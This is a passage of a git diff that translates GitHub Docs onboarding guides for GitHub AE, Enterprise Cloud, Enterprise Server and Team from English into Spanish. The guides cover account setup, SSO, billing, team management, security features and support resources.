+Después de que {% data variables.product.company_short %} crea la cuenta de propietario para {% data variables.product.product_location %} en {% data variables.product.product_name %}, recibirás un correo electrónico para iniciar sesión y completar la inicialización. Durante la inicialización, tú, como propietario de la empresa, nombrarás la {% data variables.product.product_location %}, configurarás el SSO de SAML y crearás políticas para todas las organizaciones en {% data variables.product.product_location %} y configurarás un contacto de soporte para los miembros de tu empresa. Para obtener más información, consulta la sección "[Inicializar {% data variables.product.prodname_ghe_managed %}](/admin/configuration/configuring-your-enterprise/initializing-github-ae)".
 
-### 3. Restricting network traffic
-You can configure an allow list for specific IP addresses to restrict access to assets owned by organizations in your enterprise account. For more information, see "[Restricting network traffic to your enterprise](/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise)."
+### 3. Restringir el tráfico de red
+Puedes configurar una lista de direcciones IP permitidas específicas para restringir el acceso a los activos que pertenecen a las organizaciones en tu cuenta empresarial. Para obtener más información, consulta la sección "[Restringir el tráfico de red para tu empresa](/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise)".
 
-### 4. Managing identity and access for {% data variables.product.product_location %}
-You can centrally manage access to {% data variables.product.product_location %} on {% data variables.product.product_name %} from an identity provider (IdP) using SAML single sign-on (SSO) for user authentication and System for Cross-domain Identity Management (SCIM) for user provisioning. Once you configure provisioning, you can assign or unassign users to the application from the IdP, creating or disabling user accounts in the enterprise. For more information, see "[About identity and access management for your enterprise](/admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise)."
+### 4. Administrar la identidad y el acceso para {% data variables.product.product_location %}
+Puedes administrar el acceso centralmente a {% data variables.product.product_location %} en {% data variables.product.product_name %} desde un proveedor de identidad (IdP) utilizando el inicio de sesión único (SSO) de SAML para la autenticación de usuarios y un Sistema de Administración de Identidad de Dominio Cruzado (SCIM) para el aprovisionamiento de usuarios. Una vez que configures el aprovisionamiento, podrás asignar o desasignar usuarios a la aplicación desde el IdP, creando o inhabilitando cuentas de usuario en la empresa. Para obtener más información, consulta la sección "[Acerca de la administración de accesos e identidades para tu empresa](/admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise)".
 
-### 5. Managing billing for {% data variables.product.product_location %}
-Owners of the subscription for {% data variables.product.product_location %} on {% data variables.product.product_name %} can view billing details for {% data variables.product.product_name %} in the Azure portal. For more information, see "[Managing billing for your enterprise](/admin/overview/managing-billing-for-your-enterprise)."
+### 5. Administrar la facturación para {% data variables.product.product_location %}
+Los propietarios de la suscripción a {% data variables.product.product_location %} en {% data variables.product.product_name %} pueden ver los detalles de facturación para {% data variables.product.product_name %} en el portal de Azure. Para obtener más información, consulta la sección "[Administrar la facturación para tu empresa](/admin/overview/managing-billing-for-your-enterprise)".
 
-## Part 2: Organizing and managing enterprise members
-As an enterprise owner for {% data variables.product.product_name %}, you can manage settings on user, repository, team, and organization levels. You can manage members of {% data variables.product.product_location %}, create and manage organizations, set policies for repository management, and create and manage teams.
+## Parte 2: Organizar y administrar a los miembros de la empresa
+Como propietario de la empresa para {% data variables.product.product_name %}, puedes administrar los ajustes a nivel de los usuarios, repositorios, equipos y de la organización. Puedes administrar a los miembros de {% data variables.product.product_location %}, crear y administrar organizaciones, configurar políticas para la administración de repositorios y crear y administrar equipos.
 
-### 1. Managing members of {% data variables.product.product_location %}
+### 1. Adminsitrar a los miembros de {% data variables.product.product_location %}
 {% data reusables.getting-started.managing-enterprise-members %}
 
-### 2. Creating organizations
+### 2. Crear organizaciones
 {% data reusables.getting-started.creating-organizations %}
 
-### 3. Adding members to organizations
+### 3. Agregar miembros a las organizaciones
 {% data reusables.getting-started.adding-members-to-organizations %}
 
-### 4. Creating teams
+### 4. Crear equipos
 {% data reusables.getting-started.creating-teams %}
 
-### 5. Setting organization and repository permission levels
+### 5. Configurar niveles de permiso de organización y repositorio
 {% data reusables.getting-started.setting-org-and-repo-permissions %}
 
-### 6. Enforcing repository management policies
+### 6. Requerir políticas de administración de repositorios
 {% data reusables.getting-started.enforcing-repo-management-policies %}
 
-## Part 3: Building securely
-To increase the security of {% data variables.product.product_location %}, you can monitor {% data variables.product.product_location %} and configure security and analysis features for your organizations.
+## Parte 3: Compilar de forma segura
+Para incrementar la seguridad de {% data variables.product.product_location %}, puedes monitorear a {% data variables.product.product_location %} y configurar las características de seguridad y análisis para tus organizaciones.
 
-### 1. Monitoring {% data variables.product.product_location %}
-You can monitor {% data variables.product.product_location %} with your activity dashboard and audit logging. For more information, see "[Monitoring activity in your enterprise](/admin/user-management/monitoring-activity-in-your-enterprise)."
+### 1. Monitorear a {% data variables.product.product_location %}
+Puedes monitorear a {% data variables.product.product_location %} con tu tablero de actividad y registro de bitácoras de auditoría. Para obtener más información, consulta la sección "[Monitorear la actividad en tu empresa](/admin/user-management/monitoring-activity-in-your-enterprise)".
 
-### 2. Configuring security features for your organizations
+### 2. Configurar las características de seguridad para tus organizaciones
 {% data reusables.getting-started.configuring-security-features %}
 
-## Part 4: Customizing and automating work on {% data variables.product.product_location %}
-You can customize and automate work in organizations in {% data variables.product.product_location %} with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, {% data variables.product.prodname_actions %}, and {% data variables.product.prodname_pages %}.
+## Parte 4: Personalizar y automatizar el trabajo en {% data variables.product.product_location %}
+Puedes personalizar y automatizar el trabajo en las organizaciones de {% data variables.product.product_location %} con la API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}, {% data variables.product.prodname_actions %} y {% data variables.product.prodname_pages %}.
 
-### 1. Using the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API
+### 1. Utilizar la API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}
 {% data reusables.getting-started.api %}
 
-### 2. Building {% data variables.product.prodname_actions %}
+### 2. Crear {% data variables.product.prodname_actions %}
 {% data reusables.getting-started.actions %}
 
-For more information on enabling and configuring {% data variables.product.prodname_actions %} for {% data variables.product.product_name %}, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_managed %}](/admin/github-actions/using-github-actions-in-github-ae/getting-started-with-github-actions-for-github-ae)."
+Para obtener más información sobre cómo habilitar y configurar las {% data variables.product.prodname_actions %} para {% data variables.product.product_name %}, consulta la sección "[Iniciar con las {% data variables.product.prodname_actions %} para {% data variables.product.prodname_ghe_managed %}](/admin/github-actions/using-github-actions-in-github-ae/getting-started-with-github-actions-for-github-ae)".
 
-### 3. Using {% data variables.product.prodname_pages %}
+### 3. Uso de {% data variables.product.prodname_pages %}
 {% data reusables.getting-started.github-pages-enterprise %}
-## Part 5: Using {% data variables.product.prodname_dotcom %}'s learning and support resources
-Your enterprise members can learn more about Git and {% data variables.product.prodname_dotcom %} with our learning resources, and you can get the support you need with {% data variables.product.prodname_dotcom %} Enterprise Support.
+## Parte 5: Utilizar los recursos de apoyo y aprendizaje de {% data variables.product.prodname_dotcom %}
+Los miembros de tu empresa pueden aprender más sobre Git y sobre {% data variables.product.prodname_dotcom %} con nuestros recursos para aprender y puedes obtener el apoyo que necesitas con {% data variables.product.prodname_dotcom %} Enterprise Support.
 
-### 1. Learning with {% data variables.product.prodname_learning %}
+### 1. Leer sobre {% data variables.product.product_name %} en {% data variables.product.prodname_docs %}
+Puedes leer la documentación que refleje las características disponibles en {% data variables.product.prodname_ghe_managed %}. Para obtener más información, consulta la sección "[Acerca de las versiones de {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs)".
+
+### 2. Aprender con {% data variables.product.prodname_learning %}
 {% data reusables.getting-started.learning-lab-enterprise %}
 
-### 2. Working with {% data variables.product.prodname_dotcom %} Enterprise Support
+### 3. Trabajar con {% data variables.product.prodname_dotcom %} Enterprise Support
 {% data reusables.getting-started.contact-support-enterprise %}
diff --git a/translations/es-ES/content/get-started/onboarding/getting-started-with-github-enterprise-cloud.md b/translations/es-ES/content/get-started/onboarding/getting-started-with-github-enterprise-cloud.md
index d8227e1740..9598e02d65 100644
--- a/translations/es-ES/content/get-started/onboarding/getting-started-with-github-enterprise-cloud.md
+++ b/translations/es-ES/content/get-started/onboarding/getting-started-with-github-enterprise-cloud.md
@@ -199,14 +199,18 @@ Members of your organization or enterprise can use tools from the {% data variab
 ## Part 7: Participating in {% data variables.product.prodname_dotcom %}'s community
 
 Members of your organization or enterprise can use GitHub's learning and support resources to get the help they need. You can also support the open source community. 
-### 1. Learning with {% data variables.product.prodname_learning %}
+
+### 1. Reading about {% data variables.product.prodname_ghe_cloud %} on {% data variables.product.prodname_docs %}
+You can read documentation that reflects the features available with {% data variables.product.prodname_ghe_cloud %}. For more information, see "[About versions of {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs)."
+
+### 2. Learning with {% data variables.product.prodname_learning %}
 Members of your organization or enterprise can learn new skills by completing fun, realistic projects in your very own GitHub repository with [{% data variables.product.prodname_learning %}](https://lab.github.com/). Each course is a hands-on lesson created by the GitHub community and taught by the friendly Learning Lab bot.
 
 For more information, see "[Git and {% data variables.product.prodname_dotcom %} learning resources](/github/getting-started-with-github/quickstart/git-and-github-learning-resources)."
-### 2. Supporting the open source community
+### 3. Supporting the open source community
 {% data reusables.getting-started.sponsors %}
 
-### 3. Contacting {% data variables.contact.github_support %}
+### 4. Contacting {% data variables.contact.github_support %}
 {% data reusables.getting-started.contact-support %}
 
 {% data variables.product.prodname_ghe_cloud %} allows you to submit priority support requests with a target eight-hour response time. For more information, see "[{% data variables.product.prodname_ghe_cloud %} support](/github/working-with-github-support/github-enterprise-cloud-support)."
diff --git a/translations/es-ES/content/get-started/onboarding/getting-started-with-github-enterprise-server.md b/translations/es-ES/content/get-started/onboarding/getting-started-with-github-enterprise-server.md
index 6022968de4..5abcbbd00b 100644
--- a/translations/es-ES/content/get-started/onboarding/getting-started-with-github-enterprise-server.md
+++ b/translations/es-ES/content/get-started/onboarding/getting-started-with-github-enterprise-server.md
@@ -1,120 +1,126 @@
 ---
-title: Getting started with GitHub Enterprise Server
-intro: 'Get started with setting up and managing {% data variables.product.product_location %}.'
+title: Guía de inicio para GitHub Enterprise Server
+intro: 'Inicia con la configuración y administración de {% data variables.product.product_location %}.'
 versions:
   ghes: '*'
 ---
 
-This guide will walk you through setting up, configuring and managing {% data variables.product.product_location %} as an enterprise administrator.
+Esta guía te mostrará cómo configurar, ajustar y administrar {% data variables.product.product_location %} como un administrador de empresas.
 
-{% data variables.product.company_short %} provides two ways to deploy {% data variables.product.prodname_enterprise %}.
+{% data variables.product.company_short %} proporciona dos formas para desplegar {% data variables.product.prodname_enterprise %}.
 
 - **{% data variables.product.prodname_ghe_cloud %}**
 - **{% data variables.product.prodname_ghe_server %}**
 
-{% data variables.product.company_short %} hosts {% data variables.product.prodname_ghe_cloud %}. You can deploy and host {% data variables.product.prodname_ghe_server %} in your own datacenter or a supported cloud provider.
+{% data variables.product.company_short %} hospeda a {% data variables.product.prodname_ghe_cloud %}. Puedes desplegar y hospedar a {% data variables.product.prodname_ghe_server %} en tu propio centro de datos o en un proveedor de servicios en la nube que sea compatible.
 
-For an overview of how {% data variables.product.product_name %} works, see "[System overview](/admin/overview/system-overview)."
+Para ver un resumen de cómo funciona {% data variables.product.product_name %}, consulta la sección "[Resumen del sistema](/admin/overview/system-overview)".
 
-## Part 1: Installing {% data variables.product.product_name %}
-To get started with {% data variables.product.product_name %}, you will need to create your enterprise account, install the instance, use the Management Console for initial setup, configure your instance, and manage billing. 
-### 1. Creating your enterprise account
-Before you install {% data variables.product.product_name %}, you can create an enterprise account on {% data variables.product.prodname_dotcom_the_website %} by contacting [{% data variables.product.prodname_dotcom %}'s Sales team](https://enterprise.github.com/contact). An enterprise account on {% data variables.product.prodname_dotcom_the_website %} is useful for billing and for shared features with {% data variables.product.prodname_dotcom_the_website %} via {% data variables.product.prodname_github_connect %}.  For more information, see "[About enterprise accounts](/admin/overview/about-enterprise-accounts)."
-### 2. Installing {% data variables.product.product_name %}
-To get started with {% data variables.product.product_name %}, you will need to install the appliance on a virtualization platform of your choice. For more information, see "[Setting up a {% data variables.product.prodname_ghe_server %} instance](/admin/installation/setting-up-a-github-enterprise-server-instance)."
+## Parte 1: Instalar {% data variables.product.product_name %}
+Para iniciar con {% data variables.product.product_name %}, necesitarás crear tu cuenta empresarial, instalar la instancia, utilizar la Consola de Administración para la configuración inicial, configurar tu instancia y administrar la facturación.
+### 1. Crear tu cuenta empresarial
+Antes de que instales {% data variables.product.product_name %}, puedes crear una cuenta empresarial en {% data variables.product.prodname_dotcom_the_website %} contactando al [Equio de Ventas de {% data variables.product.prodname_dotcom %}](https://enterprise.github.com/contact). Una cuenta empresarial en {% data variables.product.prodname_dotcom_the_website %} es útil para facturar y compartir características con {% data variables.product.prodname_dotcom_the_website %} a través de {% data variables.product.prodname_github_connect %}.  Para obtener más información, consulta "[Acerca de las cuentas de empresa](/admin/overview/about-enterprise-accounts)".
+### 2. Instalar {% data variables.product.product_name %}
+Para iniciar con {% data variables.product.product_name %}, necesitarás instalar el aplicativo en una plataforma de virtualización que tú elijas. Para obtener más información, consulta "[Configurar una instancia del {% data variables.product.prodname_ghe_server %}](/admin/installation/setting-up-a-github-enterprise-server-instance)."
 
-### 3. Using the Management Console
-You will use the Management Console to walk through the initial setup process when first launching {% data variables.product.product_location %}. You can also use the  Management Console to manage instance settings such as the license, domain, authentication, and TLS. For more information, see "[Accessing the management console](/admin/configuration/configuring-your-enterprise/accessing-the-management-console)."
+### 3. Utilizar la consola de administración
+Utilizarás la consola de administración para recorrer el proceso de configuración inicial cuando lances {% data variables.product.product_location %} por primera vez. También puedes utilizar la consola de administración para administrar los ajustes de instancia tales como la licencia, dominio, autenticación y TLS. Para obtener más información, consulta la sección "[Acceder a la consola de administración](/admin/configuration/configuring-your-enterprise/accessing-the-management-console)".
 
-### 4. Configuring {% data variables.product.product_location %}
-In addition to the Management Console, you can use the site admin dashboard and the administrative shell (SSH) to manage {% data variables.product.product_location %}. For example, you can configure applications and rate limits, view reports, use command-line utilities. For more information, see "[Configuring your enterprise](/admin/configuration/configuring-your-enterprise)."
+### 4. Configurar {% data variables.product.product_location %}
+Adicionalmente a la Consola de Administración, puedes utilizar el tablero de administrador de sitio y el shell administrativo (SSH) para administrar {% data variables.product.product_location %}. Por ejemplo, puedes configurar las aplicaciones y límites de tasa, ver reportes y utilizar utilidades de línea de comandos. Para obtener más información, consulta la sección "[Configurar tu empresa](/admin/configuration/configuring-your-enterprise)".
 
-You can use the default network settings used by {% data variables.product.product_name %} via the dynamic host configuration protocol (DHCP), or you can also configure the network settings using the virtual machine console. You can also configure a proxy server or firewall rules. For more information, see "[Configuring network settings](/admin/configuration/configuring-network-settings)."
+Puedes utilizar los ajustes de red predeterminados que utiliza {% data variables.product.product_name %} a través del protocolo de configuración de host dinámico (DHCP), o también puedes configurar los ajustes de red utilizando la consola de la máquina virtual. También puedes configurar un servidor proxy o reglas de firewall. Para obtener más información, consulta la sección "[Configurar los ajustes de red](/admin/configuration/configuring-network-settings)".
 
-### 5. Configuring high availability
-You can configure {% data variables.product.product_location %} for high availability to minimize the impact of hardware failures and network outages. For more information, see "[Configuring high availability](/admin/enterprise-management/configuring-high-availability)."
+### 5. Configurar la disponibilidad alta
+Puedes configurar a {% data variables.product.product_location %} para tener disponibilidad alta para minimizar el impacto de los fallos de hardware e interrupciones de red. Para obtener más información, consulta la sección "[Configurar la disponibilidad alta](/admin/enterprise-management/configuring-high-availability)".
 
-### 6. Setting up a staging instance
-You can set up a staging instance to test modifications, plan for disaster recovery, and try out updates before applying them to {% data variables.product.product_location %}.  For more information, see "[Setting up a staging instance](/admin/installation/setting-up-a-github-enterprise-server-instance/setting-up-a-staging-instance)."
+### 6. Configurar una instancia de preparación
+También puedes configurar una instancia de pruebas para las modificaciones, planear la recuperación de desastres y probar las actualizaciones antes de aplicarlas a {% data variables.product.product_location %}.  Para obtener más información, consulta "[Configurar una instancia de preparación](/admin/installation/setting-up-a-github-enterprise-server-instance/setting-up-a-staging-instance)."
 
-### 7. Designating backups and disaster recovery
-To protect your production data, you can configure automated backups of {% data variables.product.product_location %} with {% data variables.product.prodname_enterprise_backup_utilities %}. For more information, see "[Configuring backups on your appliance](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance)."
+### 7. Designar respaldos y recuperación de desastres
+Para proteger tus datos de producción, puedes configurar los respaldos automatizados de {% data variables.product.product_location %} con {% data variables.product.prodname_enterprise_backup_utilities %}. Para obtener más información, consulta "[Configurar copias de seguridad en tu aparato](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance)"
 
-### 8. Managing billing for your enterprise
-Billing for all the organizations and {% data variables.product.product_name %} instances connected to your enterprise account is aggregated into a single bill charge for all of your paid {% data variables.product.prodname_dotcom %}.com services. Enterprise owners and billing managers can access and manage billing settings for enterprise accounts. For more information, see "[Managing billing for your enterprise](/admin/overview/managing-billing-for-your-enterprise)."
+### 8. Administrar la facturación para tu empresa
+La facturación para todas las organizaciones e instancias de {% data variables.product.product_name %} conectadas a tu cuenta empresarial se agregará en un cargo de facturación único para todos tus servicios de pago de {% data variables.product.prodname_dotcom %}.com. Los propietarios y gerentes de facturación de las empresas pueden acceder y administrar los ajustes de facturación de las cuentas empresariales. Para obtener más información, consulta "[Administrar la facturación para tu empresa](/admin/overview/managing-billing-for-your-enterprise)".
 
-## Part 2: Organizing and managing your team
-As an enterprise owner or administrator, you can manage settings on user, repository, team and organization levels. You can manage members of your enterprise, create and manage organizations, set policies for repository management, and create and manage teams.
+## Parte 2: Organizar y administrar tu equipo
+Como propietario empresarial o administrador, puedes administrar los ajustes a nivel de usuario, repositorio, equipo y organización. Puedes administrar a los miembros de tu empresa, crear y administrar organizaciones, configurar políticas para la administración de repositorios y crear y administrar equipos.
 
-### 1. Managing members of {% data variables.product.product_location %}
+### 1. Adminsitrar a los miembros de {% data variables.product.product_location %}
 {% data reusables.getting-started.managing-enterprise-members %}
 
-### 2. Creating organizations
+### 2. Crear organizaciones
 {% data reusables.getting-started.creating-organizations %}
 
-### 3. Adding members to organizations
+### 3. Agregar miembros a las organizaciones
 {% data reusables.getting-started.adding-members-to-organizations %}
 
-### 4. Creating teams
+### 4. Crear equipos
 {% data reusables.getting-started.creating-teams %}
 
-### 5. Setting organization and repository permission levels
+### 5. Configurar niveles de permiso de organización y repositorio
 {% data reusables.getting-started.setting-org-and-repo-permissions %}
 
-### 6. Enforcing repository management policies
+### 6. Requerir políticas de administración de repositorios
 {% data reusables.getting-started.enforcing-repo-management-policies %}
 
-## Part 3: Building securely
-To increase the security of {% data variables.product.product_location %}, you can configure authentication for enterprise members, use tools and audit logging to stay in compliance, configure security and analysis features for your organizations, and optionally enable {% data variables.product.prodname_GH_advanced_security %}.
-### 1. Authenticating enterprise members
-You can use {% data variables.product.product_name %}'s built-in authentication method, or you can choose between an established authentication provider, such as CAS, LDAP, or SAML, to integrate your existing accounts and centrally manage user access to {% data variables.product.product_location %}. For more information, see "[Authenticating users for {% data variables.product.product_location %}](/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance)."
+## Parte 3: Compilar de forma segura
+Para aumentar la seguridad de {% data variables.product.product_location %}, puedes configurar la autenticación para los miembros empresariales, utilizar herramientas y registro en bitácoras de auditoría para permanecer en cumplimiento, configurar las características de seguridad y análisis para tus organizaciones y, opcionalmente, habilitar la {% data variables.product.prodname_GH_advanced_security %}.
+### 1. Autenticar a los miembros empresariales
+Puedes utilizar el método de autenticación integrado en {% data variables.product.product_name %} o puedes elegir entre un proveedor de autenticación establecido, tal como CAS, LDAP o SAML, para integrar tus cuentas existentes y administrar centralmente el acceso de los usuarios a {% data variables.product.product_location %}. Para obtener más información, consulta la sección "[Autenticar usuarios en {% data variables.product.product_location %}](/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance)".
 
-You can also require two-factor authentication for each of your organizations. For more information, see "[Requiring two factor authentication for an organization](/admin/user-management/managing-organizations-in-your-enterprise/requiring-two-factor-authentication-for-an-organization)."
+También puedes requerir la autenticación bifactorial para cada una de tus organizaciones. Para obtener más información, consulta la sección "[Requerir la autenticación bifactorial en una organización](/admin/user-management/managing-organizations-in-your-enterprise/requiring-two-factor-authentication-for-an-organization)".
 
-### 2. Staying in compliance
-You can implement required status checks and commit verifications to enforce your organization's compliance standards and automate compliance workflows. You can also use the audit log for your organization to review actions performed by your team. For more information, see "[Enforcing policy with pre-receive hooks](/admin/policies/enforcing-policy-with-pre-receive-hooks)" and "[Audit logging](/admin/user-management/monitoring-activity-in-your-enterprise/audit-logging)."
+### 2. Mantenerse en cumplimiento
+Puedes implementar las verificaciones de estado requeridas y confirmar las verificaciones para hacer cumplir los estándares de cumplimiento de tu organización y automatizar los flujos de trabajo de cumplimiento. También puedes utilizar la bitácora de auditoría de tu organización para revisar las acciones que realiza tu equipo. Para obtener más información, consulta las secciones "[Requerir la política con ganchos de pre-recepción](/admin/policies/enforcing-policy-with-pre-receive-hooks)" y "[Generar bitácoras de auditoría](/admin/user-management/monitoring-activity-in-your-enterprise/audit-logging)".
 
 {% ifversion ghes %}
-### 3. Configuring security features for your organizations
+### 3. Configurar las características de seguridad para tus organizaciones
 {% data reusables.getting-started.configuring-security-features %}
 {% endif %}
 
 {% ifversion ghes %}
-### 4. Enabling {% data variables.product.prodname_GH_advanced_security %} features
-You can upgrade your {% data variables.product.product_name %} license to include {% data variables.product.prodname_GH_advanced_security %}. This provides extra features that help users find and fix security problems in their code, such as code and secret scanning. For more information, see "[{% data variables.product.prodname_GH_advanced_security %} for your enterprise](/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise)."
+### 4. Habilitar las características de la {% data variables.product.prodname_GH_advanced_security %}
+Puedes mejorar tu licencia de {% data variables.product.product_name %} para que incluya la {% data variables.product.prodname_GH_advanced_security %}. Esto proporciona características adicionales que ayudan a los usuarios a encontrar y arreglar problemas de seguridad en su código, tales como el escaneo de secretos y de código. Para obtener más información, consulta la sección "[{% data variables.product.prodname_GH_advanced_security %} para tu empresa](/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise)".
 {% endif %}
 
-## Part 4: Customizing and automating your enterprise's work on {% data variables.product.prodname_dotcom %}
-You can customize and automate work in organizations in your enterprise with {% data variables.product.prodname_dotcom %} and {% data variables.product.prodname_oauth_apps %}, {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, {% data variables.product.prodname_actions %}, {% data variables.product.prodname_registry %} , and {% data variables.product.prodname_pages %}.
+## Parte 4: Personalizar y automatizar el trabajo de tu empresa en {% data variables.product.prodname_dotcom %}
+Puedes personalizar y automatizar el trabajo en las organizaciones de tu empresa con {% data variables.product.prodname_dotcom %} y con la API de {% data variables.product.prodname_oauth_apps %}, {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}, {% data variables.product.prodname_actions %}, {% data variables.product.prodname_registry %} y {% data variables.product.prodname_pages %}.
 
-### 1. Building {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %}
-You can build integrations with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, such as {% data variables.product.prodname_github_apps %} or {% data variables.product.prodname_oauth_apps %}, for use in organizations in your enterprise to complement and extend your workflows. For more information, see "[About apps](/developers/apps/getting-started-with-apps/about-apps)."
-### 2. Using the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API
+### 1. Crear {% data variables.product.prodname_github_apps %} y {% data variables.product.prodname_oauth_apps %}
+Puedes compilar integraciones con la API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}, tales como {% data variables.product.prodname_github_apps %} o {% data variables.product.prodname_oauth_apps %}, para utilizarlas en las organizaciones de tu empresa para complementar y extender tus flujos de trabajo. Para obtener más información, consulta "[Acerca de las apps](/developers/apps/getting-started-with-apps/about-apps)."
+### 2. Utilizar la API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}
 {% data reusables.getting-started.api %}
 
 {% ifversion ghes %}
-### 3. Building {% data variables.product.prodname_actions %}
+### 3. Crear {% data variables.product.prodname_actions %}
 {% data reusables.getting-started.actions %}
 
-For more information on enabling and configuring {% data variables.product.prodname_actions %} on {% data variables.product.product_name %}, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server)."
+Para obtener más información sobre cómo habilitar y configurar las {% data variables.product.prodname_actions %} en {% data variables.product.product_name %}, consulta la sección "[Iniciar con {% data variables.product.prodname_actions %} para {% data variables.product.prodname_ghe_server %}](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server)".
 
-### 4. Publishing and managing {% data variables.product.prodname_registry %} 
+### 4. Publicar y administrar el {% data variables.product.prodname_registry %}
 {% data reusables.getting-started.packages %}
 
-For more information on enabling and configuring {% data variables.product.prodname_registry %} for {% data variables.product.product_location %}, see "[Getting started with {% data variables.product.prodname_registry %} for your enterprise](/admin/packages/getting-started-with-github-packages-for-your-enterprise)."
+Para obtener más información sobre cómo habilitar y configurar el {% data variables.product.prodname_registry %} para {% data variables.product.product_location %}, consulta la sección "[Iniciar con el {% data variables.product.prodname_registry %} para tu empresa](/admin/packages/getting-started-with-github-packages-for-your-enterprise)".
 {% endif %}
 
-### 5. Using {% data variables.product.prodname_pages %}
+### 5. Uso de {% data variables.product.prodname_pages %}
 {% data reusables.getting-started.github-pages-enterprise %}
 
-## Part 5: Connecting with other {% data variables.product.prodname_dotcom %} resources
-You can use {% data variables.product.prodname_github_connect %} to share resources.
+## Parte 5: Conectarse con otros recursos de {% data variables.product.prodname_dotcom %}
+Puedes utilizar {% data variables.product.prodname_github_connect %} para compartir recursos.
 
-If you are the owner of both a {% data variables.product.product_name %} instance and a {% data variables.product.prodname_ghe_cloud %} organization or enterprise account, you can enable {% data variables.product.prodname_github_connect %}. {% data variables.product.prodname_github_connect %} allows you to share specific workflows and features between {% data variables.product.product_location %} and {% data variables.product.prodname_ghe_cloud %}, such as unified search and contributions. For more information, see "[Connecting {% data variables.product.prodname_ghe_server %} to {% data variables.product.prodname_ghe_cloud %}](/admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud/connecting-github-enterprise-server-to-github-enterprise-cloud)."
+Si eres el propietario tanto de una instancia de {% data variables.product.product_name %} como de cuenta de organización o de empresa de {% data variables.product.prodname_ghe_cloud %}, puedes habilitar {% data variables.product.prodname_github_connect %}. {% data variables.product.prodname_github_connect %} te permite compartir flujos de trabajo y características específicos entre {% data variables.product.product_location %} y {% data variables.product.prodname_ghe_cloud %}, tales como la búsqueda unificada y las contribuciones. Para obtener más información, consulta "[Conectar {% data variables.product.prodname_ghe_server %} a {% data variables.product.prodname_ghe_cloud %}](/admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud/connecting-github-enterprise-server-to-github-enterprise-cloud)."
 
-## Part 6: Using {% data variables.product.prodname_dotcom %}'s learning and support resources
-Your enterprise members can learn more about Git and {% data variables.product.prodname_dotcom %} with our learning resources, and you can get the support you need when setting up and managing {% data variables.product.product_location %} with {% data variables.product.prodname_dotcom %} Enterprise Support.
-### 1. Learning with {% data variables.product.prodname_learning %}
+## Parte 6: Utilizar los recursos de apoyo y aprendizaje de {% data variables.product.prodname_dotcom %}
+Los miembros de tu empresa pueden aprender más sobre Git y sobre {% data variables.product.prodname_dotcom %} con nuestros recursos para aprender y puedes obtener el apoyo que necesitas cuando configures y administres {% data variables.product.product_location %} con {% data variables.product.prodname_dotcom %} Enterprise Support.
+
+### 1. Leer sobre {% data variables.product.product_name %} en {% data variables.product.prodname_docs %}
+
+Puedes leer la documentación que refleje las características disponibles en {% data variables.product.prodname_ghe_server %}. Para obtener más información, consulta la sección "[Acerca de las versiones de {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs)".
+
+### 2. Aprender con {% data variables.product.prodname_learning %}
 {% data reusables.getting-started.learning-lab-enterprise %}
-### 2. Working with {% data variables.product.prodname_dotcom %} Enterprise Support
+
+### 3. Trabajar con {% data variables.product.prodname_dotcom %} Enterprise Support
 {% data reusables.getting-started.contact-support-enterprise %}
diff --git a/translations/es-ES/content/get-started/onboarding/getting-started-with-github-team.md b/translations/es-ES/content/get-started/onboarding/getting-started-with-github-team.md
index f98c11638d..6c6cee00e3 100644
--- a/translations/es-ES/content/get-started/onboarding/getting-started-with-github-team.md
+++ b/translations/es-ES/content/get-started/onboarding/getting-started-with-github-team.md
@@ -1,96 +1,99 @@
 ---
-title: Getting started with GitHub Team
-intro: 'With {% data variables.product.prodname_team %} groups of people can collaborate across many projects at the same time in an organization account.'
+title: Iniciar con GitHub Team
+intro: 'Con {% data variables.product.prodname_team %}, los grupos de personas pueden colaborar a través de muchos proyectos al mismo tiempo en una cuenta organizacional.'
 versions:
   fpt: '*'
 ---
 
-This guide will walk you through setting up, configuring and managing your {% data variables.product.prodname_team %} account as an organization owner.
+Esta guía te mostrará cómo configurar, ajustar y administrar tu cuenta de {% data variables.product.prodname_team %} como propietario de una organización.
 
-## Part 1: Configuring your account on {% data variables.product.product_location %}
